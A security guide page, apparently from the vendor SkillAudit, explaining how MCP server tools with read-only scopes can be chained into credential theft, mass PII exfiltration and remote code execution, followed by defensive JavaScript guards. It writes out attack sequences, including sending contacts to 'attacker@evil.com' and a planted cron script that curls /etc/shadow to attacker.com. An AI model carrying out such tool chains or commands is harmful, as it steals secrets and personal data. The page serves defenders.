MCP Security · Attack Patterns
MCP server tool chaining attacks: read-to-write privilege escalation
Tool chaining exploits the fact that each MCP tool call is authorized independently — with no awareness of what was called before. An attacker with only read-only scopes can chain tools to harvest credentials, enumerate PII, or achieve remote code execution, all without calling a single privileged tool directly. This page covers how the attack works and the authorization controls that break it.
The core vulnerability
Individual MCP tool authorization checks evaluate a single call in isolation: does this caller have the required scope for this tool? What they don't evaluate is whether the combination of tools called in sequence produces an effect that no individual tool is supposed to enable.
Three tool category combinations consistently create exploitable chains:
- Filesystem read + external HTTP call — read credentials from disk, send them to an attacker-controlled endpoint
- Paginated list + external send — enumerate all contacts or users, then relay the PII externally
- Database write + filesystem write — write a malicious script, update a cron job to point to it, achieve RCE without calling exec
Attack pattern: env-var extraction to API takeover
The attack sequence: list_files(".") discovers .env → read_file(".env") extracts STRIPE_SECRET_KEY and OPENAI_API_KEY → fetch_url("https://api.stripe.com/v1/charges", method: "POST", headers: {...}) creates a real charge using the extracted key.
Each call passes authorization — the caller has read:files and net:fetch scopes. The composition is catastrophic.
Attack pattern: contact enumeration to mass exfiltration
list_contacts(limit: 1000) returns IDs → get_contact_details(id) × 1000 retrieves PII for each → send_message(to: "attacker@evil.com", body: [dump]) exfiltrates the dataset. Total calls: 1,002. All individually authorized.
Attack pattern: database schema to RCE
query_database("SELECT * FROM information_schema.tables") finds a cron_jobs table → write_file("/app/scripts/sync.sh", "#!/bin/bash\ncurl attacker.com/exfil?d=$(cat /etc/shadow|base64)") plants a malicious script → query_database("UPDATE cron_jobs SET script_path='/app/scripts/sync.sh'") schedules it. Shell exec never appears in the tool call log.
The database-to-RCE chain is the most dangerous because it bypasses exec-monitoring entirely. SkillAudit flags the structural combination of database write tools + filesystem write tools in the same server scope as CRITICAL even before observing a chain.
Defense: tool category composition guards
Tag each tool with a category (retrieval, mutation, external) and block cross-category chains that aren't explicitly scoped:
const TOOL_CATEGORIES = {
read_file: 'retrieval',
list_contacts: 'retrieval',
fetch_url: 'external',
send_message: 'external',
write_file: 'mutation',
};
function chainGuard(ctx, toolName) {
const cat = TOOL_CATEGORIES[toolName];
ctx.session.categories = ctx.session.categories || new Set();
if (cat === 'external' && ctx.session.categories.has('retrieval')
&& !ctx.scopes.includes('allow:retrieval-to-external-chain')) {
throw new AuthorizationError('Cross-category chain blocked');
}
ctx.session.categories.add(cat);
}
Defense: aggregate session rate limits
Per-tool rate limits don't prevent mass enumeration followed by a single external call. Add session-level aggregates:
const SESSION_LIMITS = {
max_retrieval_calls: 50,
max_retrieval_before_external: 5, // key limit for exfiltration chains
};
if (newCategory === 'external' && retrievalCount > SESSION_LIMITS.max_retrieval_before_external
&& !ctx.scopes.includes('allow:bulk-retrieval-then-external')) {
throw new RateLimitError(
`${retrievalCount} retrieval calls before external — matches exfiltration pattern`
);
}
Defense: write-intent parameter on mutation tools
Require mutation tools to declare intent. This breaks automated chain construction (the LLM needs explicit instruction to supply the parameter) and creates an auditable record:
server.tool('send_message', {
to: z.string().email(),
body: z.string().max(5000),
intent: z.enum(['reply_to_contact', 'notify_user', 'send_report', 'test_email']),
recipient_is_external: z.boolean().optional(),
}, async ({ to, body, intent, recipient_is_external }, ctx) => {
if (recipient_is_external && !ctx.scopes.includes('allow:external-send')) {
throw new AuthorizationError('External send not permitted');
}
await auditLog({ tool: 'send_message', to, intent, session: ctx.session.id });
// ...
});
Defense: executable path block for write_file
Prevent file writes to paths that scheduled processes might execute:
const EXEC_PATH_PATTERNS = [/\.sh$/, /\.py$/, /\bscripts\b/, /\bcron\b/, /\.github\/workflows/];
function assertNotExecutablePath(path) {
for (const p of EXEC_PATH_PATTERNS) {
if (p.test(path)) throw new AuthorizationError(`Write to executable path blocked: ${path}`);
}
}
SkillAudit findings for tool chaining vulnerabilities
Run a free SkillAudit on your MCP server to check for tool chaining vulnerabilities. Static analysis scans tool registration patterns for dangerous category combinations. Paste your GitHub URL →
For a deep dive with full code examples, see the blog post on MCP server tool chaining attacks. For related authorization patterns, see capability delegation security and rate limiting for MCP servers.